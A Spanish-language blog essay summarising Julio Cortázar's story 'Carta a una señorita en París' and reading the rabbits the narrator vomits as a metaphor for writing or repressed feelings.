Sobre Cortazar (I)

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Hoy hablaré sobre un cuento corto que leí hace poco camino a casa llamado «Carta a una señorita en París», perteneciente al libro “Bestiario” (1951) de Julio Cortázar. Quizá este breve escrito no esté apto para protectores de animales, personas que no se llevan muy bien con la literatura fantástica… o simplemente que acaban de comer.

El cuento es una carta escrita por el protagonista hacia su amiga Andrée (que se encuentra en París) contándole un suceso del cual le solía pasar de vez en cuando y ahora ya no pude controlar: Vomita conejitos, y cada vez más a menudo. Comienza vomitando uno cuando recién se estaba mudando al departamento de su amiga, pero transcurrido los días ya no es solo uno, sino dos, tres, cuatro hasta llegar a los diez conejitos. El protagonista se encargaba de esconder a estos conejitos de día en el closet, limpiar y arreglar todo para que cuando Sara (la mucama de su amiga) llegue al departamento no sospeche de él. Una vez que llegaba la noche, estos conejos salían del closet y jugaban por todo el departamento hasta la mañana del día siguiente haciendo que el protagonista se desvele con ellos. El undécimo conejito vomitado es el punto de quiebre entre el protagonista y su esperanza de solucionar todo el caos que estos conejitos -ya grandes y rebeldes- le están ocasionando al departamento de Andrée. Es entonces que decide matarlos pero se da cuenta que no era la solución pues podía deshacerse de ellos pero el daño causado en el departamento era irreversible. Deja entonces la posibilidad de que este cuento termine en un suicidio junto con los conejitos, ya que a pesar del daño al departamento o la eliminación de los once conejitos, él seguiría vomitándolos y deja esta carta a Andrée como fin.

Quizá los conejitos son los escritos de Cortázar, sus libros o sus cuentos y lo vemos plasmado en el texto como: «un conejito, en el minuto inicial es como um poema en los primeros minutos», sale de uno mismo al exterior sin saber cómo se desarrollará. También cuando expresa que a veces los conejos eran blancos, negros o grises da a entender la forma o el color con el que está creado un texto, por el estilo literario del mismo Cortázar. Otra interpretación de los conejitos podrían ser los sentimientos del autor, ya que los reprime o esconde de día pero en la noche no lo dejan dormir y con el pasar del tiempo ya no los puede controlar. La forma en la cual Cortázar utiliza la literatura fantástica y nos introduce a ella de forma natural es increíble, pues en el cuento se narra explícitamente la forma con la que el protagonista vomita a los conejitos, siendo un hecho ficticio pero al mismo tiempo real.

Escribir para el autor (como para muchos de nosotros) puede ser algo placentero y común: Aparece de un momento a otro, a veces sentimos la necesidad de hacerlo y más tarde, sin darnos cuenta, ya no lo podemos controlar. La misma situación pasaba el protagonista de este cuento con los conejitos, «No era tan terrible vomitar conejitos una vez que se había entrado en el ciclo» expresa y tampoco lo es para nosotros si lo tenemos bajo control. Así que la próxima vez que escribamos, esperemos «vomitar» un conejito como esperábamos, que pueda ser controlado por nosotros mismos y que mañana más tarde no acabe con lo que nos rodea y mucho menos con nosotros mismos. Yo acabo de vomitar un conejito.

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